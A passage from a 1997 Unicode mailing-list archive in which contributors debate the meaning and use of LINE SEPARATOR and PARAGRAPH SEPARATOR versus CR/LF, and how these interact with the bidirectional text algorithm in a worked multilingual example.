virtual terminal). > > So what *is* the semantic represented by U2028 ? Is it perhaps a > higher level semantic than the low level detail of whether to return > to the originating margin ? If so, then presumably the notion of > line feed is also at a lower level, and U2028 might be implemented by > e.g. inserting bullets between the lines of poetry without actually > spacing down the page. Somehow this seems like the wrong level of > stuff to be encoding in a character set standard, though. It is the minimum information to encode in plain text to make it possible for a formatter (which is at a higher level abstraction, and which, indeed, has notions of margins, line advance, etc.) requires to render lines and paragraph breaks at appropriate places. While no one wants to encode all kinds of formatting details in plain text (it belongs in rich or fancy text protocols), neither does anyone want ""plain text"" to just be a completely unstructured stream of characters with no expressed or expressable chunking into lines and paragraphs. andifintroductionoflineseparatorandparagraphseparatorin tothecharacterencodingseemsobjectionableforplaintextrem embertoothatpunctuationcasingandspaceswereaddedtowritin gsystemstomakethemmorelegiblekenwhistler > > Tony Harminc > tzha0@juts.ccc.amdahl.com > 15-May-97 1:42:05-GMT,4598;000000000011 Received: from halon.sybase.com (halon.sybase.com [192.138.151.33]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA21873 for ; Wed, 14 May 1997 21:42:03 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by halon.sybase.com (8.8.4/8.8.4) with SMTP id SAA25446; Wed, 14 May 1997 18:03:53 -0700 (PDT) Received: from birdie.sybase.com by smtp1.sybase.com (4.1/SMI-4.1/SybH3.5-030896) id AA04531; Wed, 14 May 97 18:02:03 PDT Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA15003; Wed, 14 May 1997 18:00:36 -0700 Date: Wed, 14 May 1997 18:00:36 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9705150100.AA15003@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: Re: C0 contorls (was: Line Separator Character) Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: US-ASCII > > Does this mean that new applications should refrain from using LF and CR > > and use the two new control characters instead? How many Unicode > > applications currently understand the Unicode line and paragraph > > separators? > > > I would say that this would be the intention of the Unicode standard, in > which traditional control characters are emphatically deprecated. That would > include NL also. Yes. But implementation pressure to keep using CR, LF, or CRLF in their Unicode forms in plain text may result in other outcomes. Cf. Murray's note regarding Microsoft's de facto usage. > > I'm not saying this was necessarily the best decision. Unicode, although a > self-proclaimed ""plain text"" standard, is nevertheless strongly biased towards > use within systems, rather than between them, and particularly by high-end > ""rendering engines"" that can handle all the complexities of composed > characters, lookahead, and so forth. Control characters are largely intended > for use in communications, where it has always been necessary to mix pure > information in-band with control codes. Although such usage has long been archaic, replaced by clean communication protocols that transmit arbitrary binary data, or by full-blown device control languages implemented in plain text (e.g. PostScript). But of course ""archaic"" does not mean obsolete, since no computer communication protocol ever seems to go away. ...Well, maybe paper tape punchcodes. ... > > I don't think the status of control characters in Unicode would have been an > issue if the C0 control characters had been better defined and used > consistently throughout history. If CR (or LF, or CRLF) always meant ""end of > line"", there would have been no need for the Unicode Line Separator, but the > framers of ASCII did not view it as an internal encoding for files, only as an > interchange code Yep. Note that the only C0 control character with an assumed and required semantics in Unicode 2.0 is U+0009 TAB. Nobody implements a TAB *character* with other than 0x09, and it seemed superfluous to clone one. U+0009 TAB is referenced in the normative Unicode bidi algorithm. > (more thought -- or at least experience -- went into the ISO > C1 control set, but it never really caught on -- how many file systems have > you seen in which NL is the line terminator?). Exactly. The C1 control set is largely ignored, as far as I can tell. > > Unicode is the opposite -- it is an internal encoding, but not an interchange > code. I disagree with the implication of this. Unicode is emphatically intended as an interchange code (as well as an internal encoding, or processing code). It is just not designed to be consistent with C0/byte-oriented transmission protocols. It is an interchange code for plain text, in much the same way that GIF is an interchange code for graphics. I don't much care what layers of other transmission and communication protocols are involved in packing it up and delivering it down the wire, as long as it arrives with the same content that it left with. > It does not contain the control elements to be one, but rather pushes > that off on lower levels of the communications architecture (just as it leaves > rendering issues to higher levels); Unicode is the stuff inside the data > fields of TCP/X.25/ISDN/etc packets. But it's not the code on the wire > between a computer and a terminal or a plain-text printer. Thus, unlike ASCII > or ISO 8859-1 (etc), it can't easily be used in a communications setting > except in combination with ""something else"" that packages it up for > transmission, and another ""something else"" that renders it. Agreed. --Ken Whistler > > - Frank > 15-May-97 3:09:12-GMT,1728;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id XAA02618 for ; Wed, 14 May 1997 23:09:11 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA05976; Wed, 14 May 97 19:37:23 -0700 Message-Id: <9705150237.AA05976@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 2614 (1997-05-15 02:37:06 GMT) To: Multiple Recipients of Reply-To: ""Mark H. David"" From: ""Unicode Discussion"" Date: Wed, 14 May 1997 19:37:05 -0700 (PDT) Subject: Re: Line Separator Character At 04:01 PM 5/14/97 -0700, you wrote: >The discription of LINE SEPARATOR and PARAGRAPH SEPARATOR should be >clear from the discussions on page 6-72 in The Unicode Standard, Version >2.0. Yes, but could this list be used to get practical advice on implementation and on interpreting what the spec means in the real world? OK, so Unicode recommends LINE SEPARATOR (LS) with the clear description alluded to above. And let's say Java AWT does not handle LS. (That's more or less the report I'm getting, but let's consider this hypothetical for now.) Can we then conclude that Java AWT is actually not Unicode compliant? That is, it does handle line separation, but does not assign this semantics to the appropriate character. I.e., if Java AWT printed black blobs for LF and for LS, meaning that it just can't understand the concept of line breaking, that would be technically Unicode compliant, I guess. But if it actually can do line breaking, but but doesn't do it for LS, then that's non-compliant. Is that correct? 15-May-97 11:12:47-GMT,2670;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id HAA06876 for ; Thu, 15 May 1997 07:12:46 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA06852; Thu, 15 May 97 03:33:47 -0700 Message-Id: <9705151033.AA06852@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2616 (1997-05-15 10:33:04 GMT) To: Multiple Recipients of Reply-To: ""Kent Karlsson (\\e\\d\\v \\E\\D\\V \\e\\x\\f \\E\\X\\F \\i\\I)"" From: ""Unicode Discussion"" Date: Thu, 15 May 1997 03:33:03 -0700 (PDT) Subject: Re: Line Separator Character > ""[discussion of paragraph separator...] > A line separator indicates that a line-break should occur at this > point; although the text continues on the next line, it does not > start a new paragraph: no interparagraph line spacing nor paragraphic > indentation is applied. Since these are separator codes, it is not > necessary to start the first line or paragraph, nor end the last line > or paragraph with them."" > > In other words, a U+2028 LINE SEPARATOR is to Unicode plain text > formatting approximately as "";"" is to Pascal statement syntax. No, but U+2029 PARAGRAPH SEPARATOR (""PS"") is. I.e., the PS character should be the normally occurring character to indicate a new paragraph. The LINE SEPARATOR is intended only for *rare* occasions where a new line is strongly(?) advised, such as within a poetic verse, or saying ""it is good place to break the line here, but don't start a new paragraph"". (This is similar to a soft hyphen.) I don't know how strong the advice is, since it says ""line-break should..."", not ""line-break shall..."". If in an HTML-document, I would guess that a U+2029 PARAGRAPH SEPARATOR should be interpreted *exactly* as a , and a U+2028 LINE SEPARATOR should be interpreted as a . Maybe the strength of the advice to break should differ between (always break) and LS (perhaps: break here, if a break is needed and no better place is found), I don't know. I make no argument as to the good- or ill-advisedness of having these characters. I just note that they are there, and may (or should) be used. Also, Unicode is going to be used with ""higher level 'protocols'"" (such as HTML), and a clarification of the interpretation of the PS and LS characters in such contexts is needed, perhaps exemplified with HTML. (Note that HTML does NOT interpret NL or CR as indicating any kind of line break, except in special circumstances ().) /kent karlsson 15-May-97 16:37:45-GMT,2737;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id MAA05854 for ; Thu, 15 May 1997 12:37:44 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA07630; Thu, 15 May 97 08:56:34 -0700 Message-Id: <9705151556.AA07630@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2618 (1997-05-15 15:55:59 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Thu, 15 May 1997 08:55:57 -0700 (PDT) Subject: Re: C0 contorls (was: Line Separator Character) > > ... Control characters are largely intended > > for use in communications, where it has always been necessary to mix pure > > information in-band with control codes. > > Although such usage has long been archaic, replaced by clean communication > protocols that transmit arbitrary binary data, or by full-blown device > control languages implemented in plain text (e.g. PostScript). But of > course ""archaic"" does not mean obsolete, since no computer communication > protocol ever seems to go away. > One can argue the merits and tradeoffs of older and newer protocols, but many of the older ones were quite successful and continue to be by virtue of the fact that they were unleashed only after a great deal of thought, and often only after compromise and concensus among diverse groups with conflicting interests. I would be very happy if words like ""archaic"" and ""legacy"" were dropped from the lexicon of serious people for use in describing existing practice, and especially existing practice that conforms to hard-fought and hard-won national and international standards such as ISO 2022, 8859, or even the early ANSI standards specifying the use of control characters in communications protocols, which forms the basis for many of our modern protocols. These are emotionally-toned marketing terms used by greedy corporations that want to shame you into discarding systems that work perfectly well and buy new replacements from them. Maybe new stuff has its advantages, but personally I don't think that applying epithets to old stuff is the right way to point that out. (This is not directed at Ken -- I'm just airing one of my pet peeves.) Speaking of which, on the other end of the spectrum is the profligate use of the word ""comply"", which once carried some weight because it was used in connection with the aforementioned hard-won standards, but now is used with any three-letter acronym that any company can dream up on its own without any sort of review, quality control, or concensus. My goodness, nowadays we even have to ""comply"" with a year! - Frank 15-May-97 19:16:06-GMT,2249;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id PAA10790 for ; Thu, 15 May 1997 15:16:01 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA08132; Thu, 15 May 97 11:32:46 -0700 Message-Id: <9705151832.AA08132@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2620 (1997-05-15 18:32:10 GMT) To: Multiple Recipients of Reply-To: ""Martin J. Duerst"" From: ""Unicode Discussion"" Date: Thu, 15 May 1997 11:32:09 -0700 (PDT) Subject: Re: Line Separator Character On Thu, 15 May 1997, Unicode Discussion wrote: > I agree with this; the best explanation if you know HTML is: > > U+2029 PARAGRAPH = > U+2028 LINE SEPARATOR = > > As you say, there needs to be some clarification of the usage of these > with HTML, since they occupy the same roles. RFC 2070 has some explanation on some of the ""control""-like characters in Unicode. The main aim when working on RFC 2070 was to assure that some basic quality of display could be achieved for a wide range of languages, and that where possible, things could be brought in alignement with Unicode. Because HTML is not plain text, but plain text with markup, there are two layers. The first is what you see in a raw text editor (you see the markup). There are line breaks there, but to be consistent with the rest of HTML around (according to the reference processing model explained in RFC 2070), these have to be CR, LF, or CRLF. As explained above, and are already here for the second level (what you see in a browser). So the above two characters never actually came into play. If there is a need for specification, it would only be preemptive (avoid that different people start to use it for different purposes). There is no place where they currently would be needed. That was different for other things, such as SHY (where we made a recommendation in a Note) and all the ""control"" characters needed for BIDI and joining (which are very instrumental for certain languages and scripts). Any comments wellcome. Regards, Martin. 15-May-97 20:07:15-GMT,2569;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id QAA22628 for ; Thu, 15 May 1997 16:07:13 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA08194; Thu, 15 May 97 11:36:22 -0700 Message-Id: <9705151836.AA08194@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2621 (1997-05-15 18:35:58 GMT) To: Multiple Recipients of Reply-To: Glen Perkins From: ""Unicode Discussion"" Date: Thu, 15 May 1997 11:35:57 -0700 (PDT) Subject: Re: Line Separator Character Mark Davis wrote: > > The discription of LINE SEPARATOR and PARAGRAPH SEPARATOR should be > clear from the discussions on page 6-72 in The Unicode Standard, Version > 2.0. > Actually, the description of LINE SEPARATOR doesn't seem to state explicitly whether it means ""just advance to the next line"" or ""both advance to the next line *and* return to the beginning of the line"": >From p. 6-72: ""A line separator indicates that a line-break should occur at this point; although the text continues on the next line, it does not start a new paragraph: no inter-paragraph line spacing nor paragraphic indentation is applied."" I assume that ""continues on the next line,"" implies ""continues at the beginning of the next line"". That's what the expression ""line-break"" means to me, but I'm not completely sure that it *has* to have that meaning, and that everyone knows that it has that meaning and no other. It probably ought to be stated explicitly since the question of implied CR is answered differently by unix (LF implies CR) and DOS/Win (LF has a CR welded to it, at least implying that LF by itself wouldn't return to the beginning of the following line.) On old line printers, I had no trouble linefeeding without returning to the beginning of the line, though I've long since forgotten the char used to do so (I was but a child.) ;-) This may just be a nit, but while I'm at it, the definition of the PS includes ""this *could* cause, *for example*,..."" [emphasis mine.] That sounds as though the PS could just as easily ""cause, for example"" something else, so maybe the specific behavior of the LS is also ""left as an exercise for the reader."" Perhaps it *could* include an implied CR in one implementation and not in another, both conforming to the standard. What was the actual intent? __Glen Perkins__ glen.perkins@NativeGuide.com 16-May-97 1:29:53-GMT,1364;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id VAA14542 for ; Thu, 15 May 1997 21:29:52 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA08926; Thu, 15 May 97 14:04:53 -0700 Message-Id: <9705152104.AA08926@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2624 (1997-05-15 21:01:51 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Thu, 15 May 1997 14:01:49 -0700 (PDT) Subject: Re: Line Separator Character I'll try one more time. U+2028 LINE SEPARATOR indicates the separation of lines. A formatter of Unicode plain text then does with the separated lines what it will do with separated lines. It is not intended to be abstruse. And it should not be considered in the same context as the complexity caused by the intermingling of device control semantics of CR and LF (which after all came from the world of *physical* TTY platen and print head control) and the text formatting semantics of CR, LF, and/or CRLF in Mac, Unix, and/or the DOS/Win worlds as EOL, EOP, newline, and/or line separators. It is precisely because CR and LF are such a mess that Unicode has a LINE SEPARATOR and a PARAGRAPH SEPARATOR distinctly encoded. --Ken 16-May-97 1:30:04-GMT,1690;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id VAA14569 for ; Thu, 15 May 1997 21:30:00 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA08662; Thu, 15 May 97 13:07:09 -0700 Message-Id: <9705152007.AA08662@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2623 (1997-05-15 20:06:13 GMT) To: Multiple Recipients of Reply-To: John Cowan From: ""Unicode Discussion"" Date: Thu, 15 May 1997 13:06:11 -0700 (PDT) Subject: Re: Line Separator Character Martin J. Duerst wrote: > That was different for other things, such as SHY (where we > made a recommendation in a Note) and all the ""control"" > characters needed for BIDI and joining (which are very > instrumental for certain languages and scripts). Line Separator and Paragraph Separator are essential for BIDI. Paragraph Separator delimits the maximum scope of text that the BIDI algorithm must consider all at once (roughly stated: even if the line width is infinite, paragraphs are still stacked top to bottom, so there is no need to reverse any text across a paragraph mark). Line Separator also significantly affects BIDI behavior. That said, I think that the suggestion that LS = and PS = is very sensible, and BIDI HTML renderers should be licensed to treat as PS and as LS for BIDI purposes. (This would be a ""higher-level protocol"" within the meaning of Unicode 2.0.) -- John Cowan cowan@ccil.org e'osai ko sarji la lojban 16-May-97 1:30:04-GMT,3981;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id VAA14619 for ; Thu, 15 May 1997 21:30:03 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA08530; Thu, 15 May 97 12:44:39 -0700 Message-Id: <9705151944.AA08530@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2622 (1997-05-15 19:44:16 GMT) To: Multiple Recipients of Reply-To: Murray Sargent From: ""Unicode Discussion"" Date: Thu, 15 May 1997 12:44:14 -0700 (PDT) Subject: FW: Line Separator Character > I can report what MS Word and some other MS software products do. > Microsoft text software typically follows Word's lead. On PCs, > Unicode and ANSI plain text files use CRLF for the End Of Paragraph > (EOP) mark. This is a little different in function from the Unicode > Paragraph Separator (U+2029), since it can exist without being > followed by another paragraph. On the Mac, the plain-text EOP is just > a CR, whereas on Unix it's just a LF. Word97 accepts files with all > three of these choices (but not U+2029, which doesn't translate, > sigh), and translates them to a CR for internal use (including in its > object model) and in Word's .doc file format. Word uses VT (0xB) for > a line separator. This is handy, e.g., when you have numbered > paragraphs and would like to insert a paragraph without the leading > number. > > In RTF (Word's Rich Text Format), CRLFs are used for readability only, > with \\par representing the EOP and \\line representing the line > separator. Similarly, HTML uses CRLFs for readability only, using > for the line separator and various paragraph tags for paragraph > identification. For these rich-text formats, the Unicode PS and LS > have no defined role and really shouldn't even be used. > > One advantage of using LF through for CR for EOP, etc., is that > they're relatively efficient to parse: you can single them out as a > group with a single if statement instead of a more lengthy switch > statement. Word uses other ASCII control characters for various > things, e.g., 0x1F for the soft hyphen (instead of 0xAD, sigh) and 7 > for a table cell end. Using CRLF particularly for internal use is a > real pain, since it has some of the navigation problems of DBCS. Note > that it's more complicated to handle than the Unicode surrogates, > since with the latter you always know whether a code is a lead word, > trail word, or neither. With CR you have to check to see if it's > followed by a LF. It gets worse on PCs: a ""soft carriage return"", > i.e., just a word wrap point is represented by the system edit > controls as a CRCRLF. So before you can conclude that a CR is an EOP, > you have to check the two characters that follow! Similarly for a LF > you have to check the preceding two characters. The silver lining in > all of this is that it's pretty trivial to generalize such text > software to handle the Unicode surrogates since they can tag along > with the CRLF code, thereby keeping the caret where it belongs, etc. > > Personally I like Word's choices and have used them in the RichEdit > 2.0 control, but ideally text software should recognize the Unicode > General Punctuation symbols as well. RichEdit 2.0, for example, does > translate U+2029/U+2028 to CR/VT, respectively, on reading in a file > or pasting plain text. On plain-text output though, it uses CRLF and > VT, respectively. > > Unfortunately at this late date, there isn't any unique approach to > these issues. ASCII has been an amazingly successful character set, > but one of its worst deficiencies has been in not specifying a single > code for an EOP mark. Unix attempted to remedy the problem by using > the LF, but it didn't catch on in general. My favorite among the > alternatives is the lone CR, which as explained above is the default > on the Mac and Word. > > Murray > 16-May-97 18:09:29-GMT,2092;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id OAA29734 for ; Fri, 16 May 1997 14:09:27 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA11467; Fri, 16 May 97 10:29:25 -0700 Message-Id: <9705161729.AA11467@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2626 (1997-05-16 17:28:03 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Fri, 16 May 1997 10:28:00 -0700 (PDT) Subject: Re: Line Separator Character Context: plain text unicode file. Assuming we use LS to separate lines (I guess there's no answer to the question ""what should I use""), then doesn't that interact negatively with bidi markup, in particular embedding markups? Ie. I have to reestablish the proper embedding level at each line. Say I have two lines, some English with embedded Yiddish (levels shown here, in logical order): 000 0000 00 00000 RLE 11 1111 NL | English RLE Yiddish NL 11 11111 1 11111 PDF 00 0000 ... | Yiddish PDF English ... Now if the newline (NL in above) is indicated by a LS (\\u2028), the bidi state is reset between the lines. If I now start the second line with RLE (so as to say I'm reestablishing an embedding level), I can no longer tell whether I have one embedded segment or two (with a 0-level space between, where the LS is). Could be an issue if I later reformat (reflow) this text (as I might want to do in an editor). As a matter of fact, if the second line (after LS) starts with a strong R2L character and I don't reissue RLE, won't the base level be set to 1? This would put the following English at level 2 (not intended as the English isn't embedded in the Yiddish here, but the other way around). These problems go away if I use any combinations of CR/LF to indicate newline. Another question: does PS imply LS? Or would I end a paragraph with LS PS? I presume it does. Thanks in advance for any clarifications. Pierre lew@nortel.ca 16-May-97 19:12:00-GMT,1113;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id PAA08918 for ; Fri, 16 May 1997 15:11:48 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA11815; Fri, 16 May 97 11:49:36 -0700 Message-Id: <9705161849.AA11815@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2627 (1997-05-16 18:49:12 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Fri, 16 May 1997 11:49:10 -0700 (PDT) Subject: Re: Line Separator Character Pierre, I'll let the bidi experts respond re the first part of your query. > Another question: does PS imply LS? Presence of a paragraph separator would imply a line break. It does not imply a LS character. > Or would I end a paragraph with LS PS? No. You could, but it would imply presence of a blank line before the end of the paragraph. And keep in mind these are *separators"". You don't end a paragraph with anything. You separate two paragraphs by use of a PS. --Ken 16-May-97 22:00:09-GMT,14624;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA11638 for ; Fri, 16 May 1997 18:00:04 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA12353; Fri, 16 May 97 13:10:08 -0700 Message-Id: <9705162010.AA12353@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2630 (1997-05-16 20:09:43 GMT) To: Multiple Recipients of Reply-To: Mark Davis From: ""Unicode Discussion"" Date: Fri, 16 May 1997 13:09:42 -0700 (PDT) Subject: Re: Line Separator Character Pierre, Doug Felt here at Taligent was kind enough to take a pass at answering your questions. His comments are marked with ""**"". I have added on in a few places, marked with ""@@"", but haven't looked at the examples as carefully as Doug. Mark =========================================== All, I've been trying to get a clear picture of what a ""plain-text unicode file"" should look like (wrt control chars, bidi markup, &c.). By ""plain-text unicode file"" I mean something that would be output by a plain-text editor, eg. a Unicode-capable vi (Unix) or brief (DOS). No HTML or Web implications (altho such an editor could certainly be used to prepare multi-lingual Web pages). I have prepared a short text (not semantically very meaningful) with mixed directionalites so I can ask some concrete questions. I took the liberty to attach the GIF to this message (about same size as the text). Postscript and GIF versions of this text can also be seen at URL http://www.centrcn.umontreal.ca/~lewis/LJL/uniplain.html Below, the text is shown in logical order (and all in English), with an indication of the language in the postscript page (A=Arabic, E=English, F=French, G=German, Y=Yiddish), and what I believe the levels should be. Some examples of dates. In Yiddish, ""Monday, the 24th February 1997"". 1 E................................E Y............................Y 000000000000000000000000000000000000011111111111122111111111111222200 In German, ""Monday, the 24th Febrary 1997"". 2 E.......E G...........................G 0000000000002222222222222222222222222222200 In Arabic, ""Saturday March 90\\3\\10"" (March 10, 1990) 3 E.......E A....................A E............E 0000000000001111111111111112222222000000000000000000 ""Shindler's List"", so is called my favorite film. The jew has in the 4 E.............E Y...............................................Y 12222222222222221111111111111111111111111111111111111111111111111111 ring written: ""All who preserve one soul of Israel the book makes up to 5 Y..........Y H......................................................H 11111111111111133333333333333333333333333333333333333333333333333333333 him as if he preserved a whole world."". 6 H..................................H 333333333333333333333333333333333333111 The guest has been in Berlin. He has said: ""I am 49 years 7 Y........................................Y G...........G 111111111111111111111111111111111111111111112222222222222 old and am called Boutros"". This means in Yiddish: ""I am old 49 years and 8 G...............G A.....A Y...................Y Y...................Y 2222222222222222223333333111111111111111111111111111111111111221111111111 am called Boutros"" (Pierre in French). 9 Y.......Y B.....B F....F Y.......Y 11111111113333333111222222111111111111 Notes: o Translations are fairly literal (and not always very accurate): just for general orientation. And there are surely imperfections in all but the French (with just my name, I'm pretty safe here). o line 3: I'm not too sure what the logical order of the date in Arabic is. Could be 10\\3\\90 (levels 2212122 -- three level-2 numbers separated by level-1 backslashes) or 90\\3\\10 (all at level 2). Not too sure of the exact translation of words either. ** The logical order is, in general, the spoken order. The fields of the date ** would probably appear in the order the putative speaker would say them, ** however this is one place where writing and speaking can diverge. Here ** it depends on the order in which the putative speaker would type them. ** My description of what follows assumes the order you present is correct, ** and the desired appearance is what you present on your web site. ** ** Now as to the levels: This is very long, bear with me. ** ** Solidus (Slash) U+002F is a European Number Separator (ES). ** Reverse Solidus (Backslash) U+005C is Other Neutral (ON). You use ** reverse solidus but I'm not sure if this is to represent mirroring (neither ** character is mirrored). Either way, neither is a strong directional ** character. ** ** If the digits are Roman, by rule P0 all these numbers are treated as ** Arabic Numerals because the preceeding strong directional character ** is Arabic text (the 'h' in March). You may have intended them to be ** Arabic-Indic digits from the start. Either way, the digits are AN. ** ** If you intended Solidus (ES) this is converted to ON by rule P3. So ** either solidus or reverse solidus is ON. ** ** ON between AN is converted to R by rule N3(c). ** ** The quoted string on line 3 is thus ""L R... AN AN R AN R AN AN L"" where ** the L characters are the quote marks surrounding the text. The ** base line direction is LTR because of the initial L (Roman 'I'), so ** the base level is 0. In rule I1 the levels thus become ** ""0 1... 2 2 1 2 1 2 2 0"". By application of rule L2 this first becomes ** ""Saturday March 09\\3\\01"" as the level 2 runs are reversed, then ** ""10\\3\\90 hcraM yadrutaS"" as the levels 1&2 run is reversed. ** ** This is not consistent with the output on your web page. To force the ** date to be formatted left to right assuming this logical order, you'd ** need to force all date characters to L. This can be done either using an LRM ** before the first Roman digit, if the digits are roman, or by surrounding ** the date with LRO..PDF, if the digits are arabic-indic. Note that LRE ** won't work because the reverse solidus, being between two AN, would ** still convert to R, instead of L as desired. ** ** For example, using ""Saturday March [LRE]90\\3\\10[PDF]"", ** assuming Arabic-indic digits, would resolve the levels to ** 01111111111111112443434420, progressively resulting in ** ""Saturday March 09\\3\\01"" -- level 4 reversed ** ""Saturday March 10\\3\\90"" -- levels 3 and above reversed ** ""Saturday March 09\\3\\01"" -- levels 2 and above reversed ** ""10\\3\\90 hcraM yadrutaS"" -- levels 1 and above reversed ** This is a direct result of the fact that the date is not a ** solid run of left-to-right text, because the solidus is still R. ** ** ""Saturday March [LRO]90\\3\\10[PDF]"" however would resolve to ** 01111111111111112222222220, progressively resulting in ** ""Saturday March 01\\3\\09"" -- level 2 reversed ** ""90\\3\\10 hcraM yadretaS"" -- level 1 reversed. o Quotes aren't the right ones (some should be low quotes, ...). Questions 1) Do the levels in the above make sense (plus/minus some punctuation)? It may be that I've totally misunderstood levels. ** Generally, they make sense, see my discussion above. Text does not ** necessarily change level simply because of a quotation, or because of ** a change in language. So in line 2, the level wouldn't change simply ** because of a switch from English to German, since the German ** characters would be L. Only LRE or LRO would do that. Since you ** don't indicate strong formatting characters, I'd have to assume they ** were present to force the levels you indicate. 2) When embedding L2R in L2R (eg German in English, line 2) or R2L in R2L (eg. Arabic in Yiddish, line 9, or Hebrew in Yiddish, line 5), should I use LRE/PDF and RLE/PDF (even though the direction doesn't change)? ** Generally, you wouldn't need to. 3) The second and third paragraphs are right-aligned (R2L main direction). How do I indicate this? I thought of making each paragraph a block (separating them with PS, paragraph separator), and starting each block with a strong char of the appropriate directionality. In the second paragraph, this would mean starting the block with RLM (since the first letters are English). Ie. if base level is odd, main directionality is R2L and the text is right aligned. Or, other possibility, starting a right-adjusted paragraph with RLE? But then what about a left-adjusted paragraph that starts with R2L text. ** Either way would work. Alignment depends on the base line direction, ** which is determined by the first strong character in the block. The ** explicit directional formatting codes LRE, RLE, LRO, RLO as well as ** RLM and LRM are all strong directional characters. LTR text within ** a RLE embedding will still format LTR, but the overall run of text ** within the embedding will be RTL. 4) What should I use to separate lines? LS or CR or LF or CR/LF? If I use LS, which is a block separator, doesn't that interact negatively with bidi markup (control chars), in particular embedding markups? Ie. I have to reestablish the proper level at each line. And what happens with right alignment? Couldn't this cause confusion. If I have two lines (in logical order) 000 0000 00 00000 RLE 11 1111 LS | English RLE Yiddish LS 11 11111 1 11111 00 0000 ... | Yiddish English ... and reissue an RLE at start of second, I can no longer tell whether I have one embedded segment or two (with a 0-level space between, where the LS is). Could be an issue if I later reformat (reflow) this text (as I might want to do in an editor). As a matter of fact, if the second line (after LS) starts with a strong R2L character and I don't reissue RLE, won't the base level be set to 1? This would put the following English at level 2 (not intended as the English isn't embedded in the Yiddish here, but the other way around). (I haven't read the recent thread on LS very carefully yet, but it's not too reassuring: lots of opinions) @@ The standard is pretty clear. Most of those opinions are from people @@ who have not read it. Think of these characters in terms of what you @@ use in a word processor. @@ For Microsoft word or FrontPage, think of LS as the @@ character that you get with shift-Return @@ (causing no paragraph spacing or indent), @@ and PS as what you get with Return. @@ (on the Mac, this would be option-Return). ** This is a good observation! We believe the current standard is in ** error and should categorize LS as whitespace instead of as a block ** separator. ** ** This would allow LS characters to be inserted wherever whitespace ** appears and not interfere with explicit formatting codes. ** ** That said, the explicit formatting codes are basically intended for static ** text interchange only. They pose several problems for editing. One is that it ** is easy to radically alter the text by inserting, copying, or deleting ** one of these codes. This can reorder the text within the block and ** completely change the text on several lines. Similarly, the default ** base line direction rule can be problematic, as changes to the text at ** the start of a block can change the base line direction. Users might ** have difficulty editing unless the editor provides some support (such ** as assisting the user to insert/delete explicit formatting codes and ** their matching PDFs as a unit). @@ For actual editing of text with different directions, it is far easier to have @@ out-of-band style information with explicit embedding levels, @@ as mentioned briefly on page 3-22. ** ** Additionally, text reordering after levels are computed is 